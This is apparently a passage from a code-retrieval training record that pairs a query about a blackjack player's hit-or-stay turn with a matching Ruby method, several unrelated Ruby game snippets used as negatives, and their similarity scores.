\"Bust! \"\n else\n print \"#{hand.get_points} \"\n end\n \n print \"vs \"\n print \"Dealer: \"\n \n if dealer.is_blackjack\n print \"Blackjack! \"\n elsif dealer.is_bust\n print \"Bust! \"\n else\n print \"#{dealer.get_points} \"\n end\n puts \"Bet: #{hand.get_bet_amount}\"\n end", "def calculate_winner(player1, player2)\n if (player1 == 'rock' && player2 == 'scissors') ||\n (player1 == 'paper' && player2 == 'rock') ||\n (player1 == 'rock' && player2 == 'lizard') ||\n (player1 == 'spock' && player2 == 'lizard') ||\n (player1 == 'scissors' && player2 == 'paper') ||\n (player1 == 'lizard' && player2 == 'spock') ||\n (player1 == 'scissors' && player2 == 'lizard') ||\n (player1 == 'lizard' && player2 == 'paper') ||\n (player1 == 'paper ' && player2 == 'spock') ||\n (player1 == 'spock' && player2 == 'rock')\n true\n end\nend", "def add_players_lowest_hand(current_player)\n sum_of_players_hand = 0\n if current_player == 1 then\n @player1_hand.each {|x|\n card_value = @deckhash.fetch(x)\n sum_of_players_hand = sum_of_players_hand + card_value\n # $stdout.write(\"Showing card and value #{x}, #{sum_of_players_hand}, #{card_value} \\n\")\n }\n end #end if current player = 1\n if current_player == 2 then\n @player2_hand.each {|x|\n card_value = @deckhash.fetch(x)\n sum_of_players_hand = sum_of_players_hand + card_value\n # $stdout.write(\"Showing card and value #{x}, #{sum_of_players_hand}, #{card_value} \\n\")\n }\n end #end if current player = 2\n if current_player == 3 then\n @player3_hand.each {|x|\n card_value = @deckhash.fetch(x)\n sum_of_players_hand = sum_of_players_hand + card_value\n # $stdout.write(\"Showing card and value #{x}, #{sum_of_players_hand}, #{card_value} \\n\")\n }\n end #end if current player = 3\n if current_player == 4 then\n @player4_hand.each {|x|\n card_value = @deckhash.fetch(x)\n sum_of_players_hand = sum_of_players_hand + card_value\n # $stdout.write(\"Showing card and value #{x}, #{sum_of_players_hand}, #{card_value} \\n\")\n }\n end #end if current player = 4\n# ### This method returns sum of player's hand\n return sum_of_players_hand\n end", "def dealer_decision\n while hand_value(@dealer_hand) < 17 \n puts \"\\nDealer hits!\"\n hit(@dealer_hand)\n show_hands()\n end\n end", "def do_hit_or_stay(player_or_dealer)\n if player_or_dealer.class == Dealer #dealer's turn\n while !is_bust_or_blackjack?(player_or_dealer)\n sleep(2) #makes output seem more human\n if player_or_dealer.get_hand_score < 17\n puts \"Dealer score is #{player_or_dealer.get_hand_score}. Dealer must hit.\"\n player_or_dealer.hit(deck)\n player_or_dealer.display_hand\n else\n puts \"Dealer score is #{player_or_dealer.get_hand_score}. Dealer must stay.\"\n player_or_dealer.display_hand\n break\n end\n end\n else #player's turn\n while !is_bust_or_blackjack?(player_or_dealer)\n response = prompt_hit_or_stay\n if response == \"1\"\n player_or_dealer.hit(deck)\n player_or_dealer.display_hand\n else\n puts \"You stay.\" \n player_or_dealer.display_hand\n break\n end\n end\n end\n end", "def show_hand\n puts \"Player Score: #{player.score}: [#{player.dealt.join(\"][\")}]\"\n puts \"Dealer Score: #{dealer.score}: [#{dealer.dealt.join(\"][\")}]\"\n end", "def dealer_turn\n puts \"Dealer's Turn. Showing #{dealer_hand[0]}\"\n dealer_value = dealer_hand.reduce(0) {|sum, num| sum + num.value}\n if dealer_value < 16\n d_hit_phase\n end\n puts dealer_value\n end", "def dealer_game(player)\n @is_first_cards = false\n puts \"Your score is #{player.score}!\"\n puts \"Dealer's turn:\"\n @dealer.update_score\n self.print_scores(player)\n while @dealer.score. < 17\n sleep(1)\n @dealer.open_new_card\n puts \"Your score: #{player.score}; Dealer score: #{@dealer.score}\"\n end\n get_winner(player)\n end", "def show_winner()\n\t\tif player1_count() > player2_count\n\t\t\treturn @player1 \n\t\telsif player2_count() > player1_count\n\t\t\treturn @player2\n\t\telse \n\t\t\treturn nil \n\t\tend\n\tend", "def get_dealer_total(dealer_hand,dealer_turn)\n\tdealer_total = 0\t# Total value of dealer's visible cards\n\n\tif !dealer_turn\n\t\tdealer_total = $cards[dealer_hand[0]]\n\telse\n\t\tfor i in 0 .. dealer_hand.length - 1\n\t\t\tdealer_total += $cards[dealer_hand[i]]\n\t\tend\n\tend\n\treturn dealer_total\nend", "def dealer_turn\r\n dealer.reveal_hand\r\n if dealer.total_for_hand < 17\r\n loop do\r\n dealer.add_to_hand(deck)\r\n break if dealer.total_for_hand > 16\r\n end\r\n puts \"#{dealer.name} has #{dealer.total_for_hand}\"\r\n end\r\n end", "def result_update_to player, dealer_player, odds\r\n if player[:state] == 'won' \r\n amount = (player[:bet].to_f * odds).to_i\r\n player[:total_chips] = player[:total_chips] + amount\r\n\tdealer_player[:total_chips] = dealer_player[:total_chips] - amount\r\n\tplayer[:total_win] = player[:total_win] + 1\r\n\tplayer[:history].push('won')\r\n elsif player[:state] == 'lost'\r\n player[:total_chips] = player[:total_chips] - player[:bet]\r\n\tdealer_player[:total_chips] = dealer_player[:total_chips] + player[:bet]\r\n player[:history].push('lost')\r\n else\r\n player[:history].push('push')\r\n end\r\n player[:total_round] = (player[:state] == 'won' || player[:state] == 'lost')? player[:total_round] + 1 : player[:total_round]\r\n player[:rate] = (player[:total_round] > 0)? player[:total_win].to_f / player[:total_round].to_f : player[:rate]\r\nend", "def play_game \n #initialize variables used for game\n player_name = get_name \n deck = init_deck\n player_total = 0\n dealer_total = 0\n # deal the initial cards\n player_cards = deal_cards(2, deck)\n dealer_cards = deal_cards(2, deck)\n #player plays round\n player_total = player_round(player_cards, dealer_cards, player_total, player_name, deck)\n puts \"Player round finished, player total is #{player_total}.\"\n # dealer plays round, but only if player didn't hit blackjack or go bust\n if (blackjack(player_total) != true) && (bust(player_total) != true)\n dealer_total = dealer_round(dealer_cards, dealer_total, deck)\n puts \"Dealer round finished, dealer total is #{dealer_total} and player total is #{player_total}.\"\n end\n # evaluate to see who won \n playing = evaluate(player_total, dealer_total, playing)\n if playing == \"yes\"\n play_game\n else \n puts \"Bye! Thanks for visiting the casino!\"\n exit\n end\nend", "def determineWinner\n if @botChoice == @playerChoice\n puts \"It's a tie! Redo round:\"\n elsif (@playerChoice == \"paper\" and @botChoice == \"rock\") or \\\n (@playerChoice == \"scissors\" and @botChoice == \"paper\") or \\\n (@playerChoice == \"rock\" and @botChoice == \"scissors\")\n @roundsWon += 1\n @roundsLeft -= 1\n puts \"You won this round! Rounds Won: #{@roundsWon}. Rounds Lost: #{@roundsLost}\"\n else\n @roundsLost += 1\n @roundsLeft -= 1\n puts \"You lost this round... Rounds Won: #{@roundsWon}. Rounds Lost: #{@roundsLost}\"\n end\n end", "def find_winner()\n\t\tingame_players = 0\n\t\tlast_cards = []\n\n\t\t#puts \"In find winner method\"\n\t\tputs to_s\n\n\t\[email protected] do |player|\n\t\t\n\n\t\t\tif !player.is_fold\n\t\t\t\tlast_cards << player.get_cards\n\t\t\t\t\n\t\t\tend\n\n\t\tend\n\t\[email protected] do |player|\n\t\t\t\n\n\t\t\tif !player.is_fold\n\t\t\t\t\n\t\t\t\tputs\n\t\t\t\tplayer.increase_game\n\t\t\t\t#i = last_cards.index(player.get_cards)\n\t\t\t\t#last_cards.insert(0, last_cards.delete_at(i)) \n\t\t\t\tcards_of_players = \"#{last_cards.join(\"\")}\"\n\t\t\t\t#puts \"Order of cards: \" + cards_in_order\n\t\t\t\t#puts \"get cards: \" + get_cards\n\t\t\t\twinner = @pokeroddsproxy.get_winnercards(cards_of_players, get_cards)\n\t\t\t\t#odds = @pokeroddsproxy.get_odds(cards_in_order, get_cards, ingame_players)\n\t\t\t\t#puts odds\n\n\t\t\t\tif winner == player.get_cards #If winner's cards are same with the player\n\t\t\t\t\tputs \"#{player.get_name} is the winner\"\n\t\t\t\t\tplayer.addmoney(@pot)\n\t\t\t\t\tplayer.increase_win\n\t\t\t\telse\n\t\t\t\t\tputs \"#{player.get_name} is the loser\"\n\t\t\t\t\tplayer.increase_lose\n\t\t\t\tend\n\n\t\t\tend\n\n\t\tend\n\n\tend", "def winner\n return nil if player_one_move == player_two_move\n winning_combinations = { 'rock' => 'scissors', 'scissors' => 'paper', 'paper' => 'rock' }\n {\n true => player_one,\n false => player_two,\n }[winning_combinations[player_one_move] == player_two_move]\n end" ]
[ "0.772229", "0.7402753", "0.7275999", "0.7234823", "0.721427", "0.7202804", "0.7175807", "0.7173135", "0.7154482", "0.71470463", "0.71427435", "0.7127447", "0.7071624", "0.70313543", "0.7009237", "0.69736373", "0.69388634", "0.68992245", "0.68079597", "0.6791086", "0.67867047", "0.6720691", "0.66999185", "0.66752607", "0.6664064", "0.66443866", "0.66279876", "0.65626705", "0.6552844", "0.65513176", "0.6501053", "0.6487072", "0.6457746", "0.6443765", "0.6433438", "0.6433438", "0.6405471", "0.64051265", "0.6401898", "0.6391046", "0.63893974", "0.63738877", "0.6369016", "0.636684", "0.6366652", "0.63468784", "0.6337792", "0.63169855", "0.6304196", "0.62987226", "0.62938756", "0.62916064", "0.628401", "0.62684953", "0.6268025", "0.6249056", "0.62453234", "0.6244794", "0.623137", "0.6228534", "0.6225523", "0.62052435", "0.62034583", "0.6203342", "0.61925673", "0.6185045", "0.6178937", "0.6143313", "0.61360425", "0.6135536", "0.61252147", "0.61176276", "0.61115247", "0.61045426", "0.6094748", "0.6092372", "0.6089101", "0.6080043", "0.6077313", "0.60695136", "0.6051515", "0.604913", "0.60474515", "0.6045111", "0.6033734", "0.6018049", "0.6016983", "0.6015543", "0.60112494", "0.6003659", "0.60019356", "0.59949", "0.59792095", "0.59741676", "0.5972995", "0.59701824", "0.5967994", "0.5961098", "0.59579563", "0.59571576" ]
0.80908495
0
Asks the player for input, to choose if the player want to hit +++ or stay, it returns "over" if the player is over 21 and stay if +++ the player stays. recursively calls itself if the previous +++ conditions are not met.
def turn_player input = get_user_input_and_check(["h","s"]) if input === "h" get_card_and_put_in_hand("player") display_board_screen("hidden") hand_total = calculate_hand_total_value(@hand_player) if check_if_over_21(hand_total) return "over" else turn_player end elsif input === "s" return "stay" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def hit_or_stay_cont\n puts \"Would you like to hit or stay\"\n input = gets.chomp.to_s\n input.upcase!\n @dealer.update_deck if @deck.cards_left < 1 # rebuilds deck if empty\n if input == \"HIT\" || input == \"H\"\n @player.hand.hit\n show_player_hand\n return if @player.hand.bust # Escapes recursion if the player busts\n hit_or_stay_cont\n elsif input == \"STAY\" || input == \"S\"\n puts \"You stand\"\n else\n puts \"Invalid input. Enter hit or stay\"\n hit_or_stay_cont\n end\n end", "def play\n if player1_score < 21\n puts \"Would you like to Hit or Stay..\"\n userinput = gets.chomp.downcase\n until userinput != \"hit\" || player1_score >= 21\n player_hit\n if player1_score == 21\n puts \"Blackjack!! You win!!\"\n player_win\n play_again\n elsif player1_score > 21\n dealer_win\n puts \"Your total was #{player1_score}\"\n puts \"You Busted..sad face..\"\n play_again\n elsif player1_score < 21\n puts \"Your new total is #{player1_score}.\"\n play\n elsif player_hand == 6 && player1_score < 21\n puts \"Somehow you achieved this, I'll let you have this win..\"\n player_win\n play_again\n else\n wrong\n end\n wrong\n end\n if userinput == \"stay\"\n stay\n end\n wrong\n end\n end", "def decide\n input = '0'\n puts \"What would you like to do? 1) hit 2) stay\"\n loop do\n input = gets.chomp\n if !['1', '2'].include?(input)\n puts \"Error: you must enter 1 or 2\"\n else\n break\n end\n end\n puts \"Hit me!\" if input == '1'\n puts \"Stay!\" if input == '2'\n input \n end", "def hit_or_stay\n puts \"Would you like to hit, stay or doubledown\"\n input = gets.chomp.to_s\n input.upcase!\n @dealer.update_deck if @deck.cards_left < 1 # Rebuilds deck if empty\n if input == \"HIT\" || input == \"H\"\n @player.hand.hit\n show_player_hand\n return if @player.hand.bust # Escapes recursion if the player busts\n hit_or_stay_cont\n elsif input == \"STAY\" || input == \"S\"\n puts \"You stand\"\n elsif input == \"DOUBLEDOWN\" || input == \"D\"\n @player.hand.hit\n @player.double_down\n show_player_hand\n else\n puts \"Invalid input.\"\n hit_or_stay\n end\n end", "def runner\n #setup \nwelcome\ncard_total = initial_round\nprompt_user\ninput = get_user_input\nuntil card_total > 21\n if input == \"h\"\n card_total = new_hit(card_total)\n display_card_total(card_total)\n elsif input == \"s\"\n stay=true\n else\n invalid_command\n end \n end\n if card_total == 21\n puts \"You Drew Blackjack\"\n return \"You Win!!\"\n end \n if card_total > 21\n puts \"Sorry, you hit 30. Thanks for playing!\"\n end \n\nend", "def players_actions(players_cards_value, players_cards, deck, computers_cards_value, computers_cards, players_cards_two_value, players_cards_two)\n puts 'You have '+players_cards_value.to_s+' right now. Would you like to hit or stay? (type hit or stay to perform said action)'\n players_actions_reply = gets.chomp\n while players_actions_reply.downcase != 'stay'\n #if reply is 'stay' then program ends\n binding.pry\n if players_actions_reply.downcase == 'hit'\n players_cards.push (the_draw(deck))\n players_cards_value = card_value(players_cards_value, players_cards)\n board(computers_cards_value, players_cards_value, players_cards, computers_cards, players_cards_two, players_cards_two_value)\n if players_cards_value >= 21\n if players_cards.index{ |x, y| y == 11 } == true\n card_value_one(players_cards)\n players_actions(players_cards_value, players_cards, deck, computers_cards_value, computers_cards, players_cards_two_value, players_cards_two)\n exit\n else\n if players_cards_two_value == 0\n puts 'Busted. You went over 21. You Lose'\n play_again\n exit\n else\n #could be bellow here\n players_actions(players_cards_two_value, players_cards_two, deck, computers_cards_value, computers_cards, players_cards_two_value, players_cards_two)\n exit \n end\n end\n else\n players_actions(players_cards_value, players_cards, deck, computers_cards_value, computers_cards, players_cards_two_value, players_cards_two)\n exit\n end\n else\n puts 'You didn\\'t enter hit or stay. Please try again.'\n players_actions_reply = gets.chomp\n end\n end\n binding.pry\n end", "def ask_question(player)\n @question1 = rand(20)\n @question2 = rand(20)\n puts \"What is #{@question1} + #{@question2}?\"\n puts \"Enter your answer #{player[:name]}\"\n @input = gets.chomp.to_i\n return (@input == (@question1 + @question2))\nend", "def play\n self.check \n while (\"unfinished\" == @hands_status[@cur])\n choice = 0\n \n if 2 == @hands[@cur].length # handle a hand first time\n if (num_to_value(@hands[@cur][0]) == num_to_value(@hands[@cur][1])) && (@balance >= @bets[@cur])\n # can split and double\n puts \"please input INTEGER for your choice:\\n1--hit; 2--stand; 3--double; 4--split\"\n get_input = gets.chomp\n while (!is_int? get_input) || ((is_int? get_input) && !((1..4)===Integer(get_input)))\n puts \"invalid input, please re-input:\\n1--hit; 2--stand; 3--double; 4--split\"\n get_input = gets.chomp\n end\n choice = Integer(get_input)\n elsif (@balance >= @bets[@cur])\n # can double\n puts \"please input INTEGER for your choice:\\n1--hit; 2--stand; 3--double\"\n get_input = gets.chomp\n while (!is_int? get_input) || ((is_int? get_input) && !((1..3)===Integer(get_input)))\n puts \"invalid input, please re-input:\\n1--hit; 2--stand; 3--double\"\n get_input = gets.chomp\n end\n choice = Integer(get_input)\n else\n puts \"please input INTEGER for your choice:\\n1--hit; 2--stand\"\n get_input = gets.chomp\n while (!is_int? get_input) || ((is_int? get_input) && !((1..2)===Integer(get_input)))\n puts \"invalid input, please re-input:\\n1--hit; 2--stand\"\n get_input = gets.chomp\n end\n choice = Integer(get_input)\n end\n else\n # can only hit or stand\n puts \"please input INTEGER for your choice:\\n1--hit; 2--stand\"\n get_input = gets.chomp\n while (!is_int? get_input) || ((is_int? get_input) && !((1..2)===Integer(get_input)))\n puts \"invalid input, please re-input:\\n1--hit; 2--stand\"\n get_input = gets.chomp\n end \n choice = Integer(get_input)\n end\n\n case choice\n when 1\n self.hit\n when 2\n self.stand\n when 3\n self.double\n when 4\n self.split\n end\n\n self.check\n \n end\n end", "def prompt_hit_or_stay\n puts \"\\nWould you like to (1) hit or (2) stay?\"\n response = gets.chomp\n while response != \"1\" && response != \"2\"\n puts \"Please choose either (1) for hit or (2) for stay.\"\n response = gets.chomp\n end\n return response\n end", "def game_over?(player_input, current_move)\n\tif player_input.combination(3).map.any?{|i| WINNER}\n\t\tputs \"Congrats#{player_input}, your a winner!\"\n\telsif current_move == 9\t\n\t\tputs \"It's a draw, suckers!\"\n\tend\nend", "def add_pepper(count)\n puts \"How much pepper do you want. Answer with 'a little', 'spicy' and 'red peppers only'\"\n userinput = gets.chomp.downcase\n counter = 0\n if userinput.include? \"little\"\n counter = 1\n elsif userinput.include? \"spicy\"\n counter = 3\n elsif userinput.include? \"red pepper\"\n counter = 6\n end\n counts = 0\n until counts > counter\n puts \"Adding some pepper\"\n sleep 0.5\n if counts == 3 && counter == 3\n puts \"You like it spicy!\"\n sleep 0.5\n end\n if counts == 5 && counter == 6\n puts \"You like it very very hot!\"\n sleep 0.5\n end\n counts += 1\n end\n puts \"Done adding pepper!\"\n count += 1\n what_to_do(count)\nend", "def continue?\r\n\tprintLine\r\n\tputs \"Would you like to play another game? (yes or no)\"\r\n\tprint \"--> \"\r\n\t@choice = gets.chomp\r\n\t#If user doesn't want to continue hand is still finished\r\n\tif @choice.include? \"yes\"\r\n\t\t@new_game = true\r\n\t\t@hand_finished = false\r\n\t\treturn true\r\n\telse \r\n\t\treturn false\r\n\tend\r\nend", "def players_actions(players_cards_value, players_cards, deck, computers_cards_value, computers_cards, players_cards_two_value, players_cards_two)\n puts 'You have '+players_cards_value.to_s+' right now. Would you like to hit or stay? (type hit or stay to perform said action)'\n players_actions_reply = gets.chomp\n while players_actions_reply.downcase != 'stay'\n #if reply is 'stay' then program ends\n if players_actions_reply.downcase == 'hit'\n players_cards.push (the_draw(deck))\n players_cards_value = card_value(players_cards_value, players_cards)\n board(computers_cards_value, players_cards_value, players_cards, computers_cards, players_cards_two, players_cards_two_value)\n if players_cards_value >= 21\n if players_cards.index{ |x, y| y == 11 } == true\n card_value_one(players_cards)\n players_actions(players_cards_value, players_cards, deck, computers_cards_value, computers_cards, players_cards_two_value, players_cards_two)\n exit\n else\n if players_cards_two_value == 0\n puts 'Busted. You went over 21. You Lose'\n play_again\n exit\n else\n #could be bellow here\n players_actions(players_cards_two_value, players_cards_two, deck, computers_cards_value, computers_cards, players_cards_two_value, players_cards_two)\n exit \n end\n end\n else\n reply\n players_actions(players_cards_value, players_cards, deck, computers_cards_value, computers_cards, players_cards_two_value, players_cards_two)\n \n #deleted exit here, figure out problem now\n end\n else\n puts 'You didn\\'t enter hit or stay. Please try again.'\n players_actions_reply = gets.chomp\n end\n end\n end", "def action\n if player_hand.collect{|x| x.value}.inject(:+) < 21 && player_hand.length == 6\n lengthwin\n else\n puts \"Would you like to 'hit' or 'stay'?\"\n answer = STDIN.gets.chomp.downcase\n until answer == \"hit\" || answer == \"stay\"\n puts \"Simply let me know if you would like to 'hit' or 'stay', sir.\"\n answer = STDIN.gets.chomp\n end\n if answer == \"hit\"\n hit = bjdeck.draw\n player_hand << hit\n blind_score\n if player_hand.collect{|x| x.value}.inject(:+) > 21\n puts \"It appears you have busted.\"\n lose\n else\n action\n end\n else\n computer_turn\n end\n end\n end", "def mercy?\n answer = nil;\n puts \"#{gladiators.first.name} Wins! Show #{gladiators.last.name}\"\n puts \"thumbs up or down\"\n answer = gets.chomp\n if (answer = \"up\")\n swap_gladiators\n end\nend", "def player_input\n loop do\n puts \"Type 'r', 'p' or 's'.\\n\"\n computer_choice = strategy_implement(strategy)\n input = gets.chomp.downcase\n if input == 'r'\n value = {rock: 1}\n player_choice.clear\n player_choice.merge!(value)\n puts \"Rock\\n\"\n play_game(value.keys.pop, computer_choice)\n @previous_player_choice = value\n add_player_choice_to_log\n elsif input == 'p'\n value = {paper: 1}\n player_choice.clear\n player_choice.merge!(value)\n puts \"Paper\\n\"\n play_game(value.keys.pop, computer_choice)\n add_player_choice_to_log\n @previous_player_choice = value\n elsif input == 's'\n value = {scissors: 1}\n player_choice.clear\n player_choice.merge!(value)\n puts \"Scissors\\n\"\n play_game(value.keys.pop, computer_choice)\n add_player_choice_to_log\n @previous_player_choice = value\n elsif input == 'exit'\n exit_message\n break\n else\n puts \"That is not a valid choice - please try again\"\n end\n end\n end", "def play_hand (deck)\n puts \"You have: \"\n display_hand\n puts \"\\nYour score is: #{score}\"\n return @score if @score >= 21 # end turn if we win or bust\n\n puts \"\\nDo you want to hit or stay?\"\n puts \"Please type 'hit' or 'stay\"\n\n decision = gets.chomp.downcase\n until decision == \"hit\" || decision == \"stay\"\n puts \"\\nI said please enter 'hit' or 'stay'.\"\n puts \"Do you want to hit, or stay?\"\n puts \"Please enter 'hit' or 'stay'.\"\n decision = gets.downcase.chomp\n end\n\n (system \"clear\") && (hit deck) && (play_hand deck) if decision == \"hit\"\n score\n end", "def userInput(deck, player, dealer, stop) \n puts \"Hit (h) or stand (s)?\"\n input = gets.chomp()\n\n if input == 'h'\n player.push(*deck.shift)\n showGame(player, dealer)\n elsif input == 's'\n dealerPlay(deck, player, dealer)\n stop = true\n else\n puts 'Please enter a valid instruction'\n userInput(deck, player, dealer, stop)\n end\n\n return stop\nend", "def raise_bet\n # We need to see how much they want to bet.\n puts 'How much would you like to raise? Or enter (B)ack to change your mind.'\n loop do\n @input_string = STDIN.gets.chomp\n\n # Checks to make sure the value they entered can be converted into an integer.\n # If it can, store it in a new variable.\n @input = begin\n Integer(@input_string)\n rescue StandardError\n false\n end\n\n # Makes sure that the raise is a legal move.\n if @input && @input >= @table_current_bet * 2\n # Same as with a call, don't want to duplicate chips.\n @pot_size -= @active_players[0].current_bet\n @committed -= @active_players[0].current_bet\n\n # Checks to see if they're going all in.\n if @active_players[0].chip_stack <= @input\n all_in\n else\n # Otherwise, sets the raise values and adjusts chip counts.\n @active_players[0].current_bet = @input\n @table_current_bet = @active_players[0].current_bet\n pot_adjustment\n system 'clear'\n puts \"You have raised the bet to #{@active_players[0].current_bet} chips.\"\n sleep(3)\n end\n # Sets the user input to nil so the parent method knows a raise has been made and breaks the loop.\n @input_string = nil\n break\n # If the raise isn't legal we let the player know so they can try again.\n elsif @input && @input <= @table_current_bet * 2\n puts \"Please enter a valid raise amount - your raise must be at least twice the current bet. The current bet is #{@table_current_bet} chips.\"\n # If the player chickens out of the raise we can let them go back and change their mind ;)\n elsif @input_string.downcase == 'b' || @input_string.downcase == 'back'\n break\n else\n puts 'Please enter a valid, whole number'\n end\n end\nend", "def game_start \n # Default-value for user_input to start game.\n user_input = false \n while user_input != 'stay'\n p \"#{@player.name} please choose to 'hit' or 'stay'?\" \n print_current_hands\n if get_hand_sum(@player.hand) > 21 \n p \"❌ Sorry #{@player.name} you Busted! #{@house.name} has won! Game Over! Please Play Again! ❌\"\n # This is an explicit return that doesn't need need a ';'.\n return \n end \n user_input = gets.chomp\n # This checks if the player's input was 'hit' or 'stay'. \n if user_input == 'hit'\n add_card_to_hand(@player.hand)\n elsif user_input == 'stay'\n p \"#{@player.name} has chosen to stay!\" \n # This prints when the user types something else other than 'hit' or 'stay' inside the terminal. \n else \n p \"Sorry, #{@player.name}! That's an invalid input! Please type in 'hit' or 'stay'!\"\n end \n end \n # Once the while loop stops, the 'house_hits_loop' runs until one of the \"win/lose conditions is met.\"\n house_hits_loop\n # This checks the game winning conditions.\n check_winning_state\n end", "def ask()\n puts 'Do you like eating tacos? (y or n)'\n input = gets.chomp\n if input == 'y'\n print 'We can be friends!'\n return\n end\n if input == 'n'\n print 'Get out of my sight!'\n return\n end\n puts 'Try again'\n ask()\nend", "def player_decision(player, hand, hand_index, double, split)\n puts \"#{player.name}, your options for Hand #{hand_index+1}:\"\n puts \" H: Hit\"\n puts \" S: Stand\"\n puts \" D: Double Down\" if double\n puts \" P: Split the Pair\" if split\n puts \" T: Training Mode Recommendation\" if $Training_Mode\n puts \" C: Card Counting Mode Recommendation\" if $Counting_Mode\n puts \" #{shoe_count}\" if $Counting_Mode\n print \"Your choice? \"\n choice = gets.strip.downcase.take(1)\n linebreak\n\n if \"h\" == choice # Hit\n puts \"The dealer gives you a #{player.take(@shoe.hit, hand_index)}.\"\n !busted? hand\n elsif \"s\" == choice # Stand\n false\n elsif \"d\" == choice # Double Down\n player.wallet -= hand.bet\n hand.double_down\n puts \"The dealer gives you a #{player.take(@shoe.hit, hand_index)}.\"\n busted? hand\n false\n elsif \"p\" == choice # Split\n player.wallet -= hand.bet\n puts \"The dealer splits you into:\"\n player.split(hand_index, @shoe.hit, @shoe.hit)\n elsif \"t\" == choice && $Training_Mode # Training Hint\n puts training_recommendation(hand, double, split)\n linebreak\n player_decision(player, hand, hand_index, double, split)\n elsif \"c\" == choice && $Counting_Mode # Counting Hint\n puts counting_recommendation\n linebreak\n player_decision(player, hand, hand_index, double, split)\n else # Invalid\n puts \"Selection not recognized. Please try again.\"\n player_decision(player, hand, hand_index, double, split)\n end\n end", "def congratulation(percentage,count,current_score,finished_game_counter,width,height)\n puts \"You won after #{count} turns\"\n puts \"Click enter to continue\"\n again = gets\n if again == \"\\n\"\n main_menu(width,height,current_score,finished_game_counter)\n end\nend", "def travel_internationally?\n puts \"Will you be traveling internationally?\"\n puts \"1. Yes\\n2. No\"\n choice = gets.chomp.to_i\n\n if choice == 1\n return true\n elsif choice == 2\n return false\n else\n puts \"invalid input\"\n return travel_internationally?()\n end\nend", "def add_or_multiply\n\tputs \"Select a number between 1 and 25\"\n\tinput = gets.chomp.to_i\n\tputs \"Great, now would you like me to add or multiply?\"\n\tarithmetic = gets.chomp.downcase\n\n\tif arithmetic == \"add\"\n\t\tputs \"Everything added up equals... \" \n\t\tsleep(0.5)\n\t\tputs (1..input).inject(:+)\n\telsif arithmetic == \"multiply\"\n\t\tputs \"Everything multiplied together equals...\"\n\t\tsleep(0.5)\n\t\tputs (1..input).inject(:*)\n\tend\n\tagain\nend", "def gold_room()\n puts \"This room is full of gold. How much do you take?\"\n\n prompt; next_move = gets.chomp \n=begin\n if next_move.include? \"0\" or next_move.include? \"1\"\n how_much = next_move.to_i()\n else\n dead(\"Man, learn to type a number.\")\n end\n\n if how_much < 50\n puts \"Nice, you're not greedy, you win!\"\n Process.exit(0)\n else\n dead(\"You greedy bastard!\")\n end\n=end \n\n#Q5.\n if is_i?(next_move) == true\n how_much = next_move.to_i()\n \n if how_much < 50\n puts \"Nice, you're not greedy, you win!\"\n Process.exit(0)\n else\n dead(\"You greedy bastard!\")\n end\n else\n dead(\"Man, learn to type a number.\")\n end\nend", "def input_operator()\n\twhile true\n\t\tputs \"What do you want to do?\"\n\t\tputs \"+ -> add\"\n\t\tputs \"- -> subtract\"\n\t\tputs \"* -> multiply\"\n\t\tputs \"/ -> divide\"\n\t\t\n\t\top = gets.strip\n\t\tcase op\n\t\twhen \"+\"\n\t\t\treturn \"+\"\n\t\twhen \"-\"\n\t\t\treturn \"-\"\n\t\twhen \"/\"\n\t\t\treturn \"/\"\n\t\twhen \"*\"\n\t\t\treturn \"*\"\n\t\telse\n\t\t\tputs \"Please enter only + - * or /\"\n\t\tend\n\tend\nend", "def play_game()\n while true\n puts \"Points won by(1/2)?\"\n point_winner = gets\n\n score = next_score(point_winner.to_i)\n puts \"\\nScore: #{score}\"\n if score.include?('Game won by')\n break\n end\n end\n end", "def handle_typos(chosen_door)\n puts \"Man you should take a proper decision or learn how to type!\"\n puts \"If you want to restart the game, press 1\"\n puts \"If you want to try again, press 2\"\n puts \"If you happen to be a coward, press 3 and quit this stupid game now. No regrets\"\n decision = $stdin.gets.chomp\n if decision == \"1\"\n puts \"Hooray! Let's start from scratch\"\n start_greetings\n start_game\n elsif decision == \"2\"\n puts \"OK, let's try again. You can do this!\"\n # Skipping the greetings\n start_game\n elsif decision == \"3\"\n puts \"Quiting is sad man. But, hey, your game, your rules! Bye bye\"\n else\n handle_typos(chosen_door)\n end\nend", "def hit?(total)\n prompt_user\n choice = get_user_input\n if choice == 's'\n return total\n elsif choice == 'h'\n total += deal_card\n else\n invalid_command\n return hit?(total)\n end\n return total\nend", "def ask_question(player)\n number_1 = rand(1..20)\n number_2 = rand(1..20)\n\n puts \"#{@player.name}: What is #{number_1} + #{number_2}\"\n answer = gets.chomp.to_i\n answer == number_1 + number_2 ? correct_answer : wrong_answer(player)\nend", "def C\r\n puts \"\\nYOU HAVE #{$food} UNITS OF FOOD\"\r\n puts \"HOW MANY DO YOU WANT TO EAT?\"\r\n wanna_eat = gets.strip.to_i\r\n if wanna_eat> $food\r\n puts \"THATS MORE FOOD THAN YOU HAVE\\n\"\r\n else\r\n $food = $food-wanna_eat\r\n $strength = $strength+(5*wanna_eat)\r\n end\r\n return \"F\" \r\nend", "def mainMenu\r\n\r\n\tputs \"Welcome to the Number Chain game lets see how far you can get.\"\r\n\tputs \"1: Start the Game\"\r\n\tputs \"2: Cheat Codes\"\r\n\tputs \"3: Exit\"\r\n\tinput = gets.chomp.to_i\r\n\t\r\n\t\r\n\tuntil input == 1 or input == 2 or input == 3\r\n\t\tputs \"Not a valid input\"\r\n\t\tputs \"\"\r\n\t\tputs\"*************************************\"\r\n\t\tputs \"\"\r\n\t\tputs \"1: Start the game\"\r\n\t\tputs \"2: Enter a cheat code\"\r\n\t\tputs \"3: Exit\"\r\n\t\tinput = gets.chomp.to_i\r\n\tend\r\n\t\r\n\t\r\n\t\r\n\tif input == 1\r\n\t\tputs \"*****************************************************************************************\"\r\n\t\tputs \"\"\r\n\t\tputs \"\"\r\n\t\tlevel1\r\n\telse\r\n\t\tif input == 2\r\n\t\t\tcheatcodes\r\n\t\telse\r\n\t\t\tif input == 3\r\n\t\t\t\texit\r\n\t\t\tend\r\n\t\tend\r\n\tend\r\n\r\nend", "def hit?(card_total)\n prompt_user\n input = get_user_input\n if input == \"h\"\n return card_total += deal_card\n elsif input == \"s\"\n return card_total\n elsif input != \"h\" || get_user_input != \"s\"\n puts \"Please enter a valid command\"\nend\nend", "def play\n player = 1\n\n welcome_comment\n\n while (check_game_end == false) do\n display\n puts \"Player #{player} turn: \"\n player_input = gets.chop\n while (!check_input(player_input)) do\n player_input = gets.chop\n end\n mark(player_input)\n 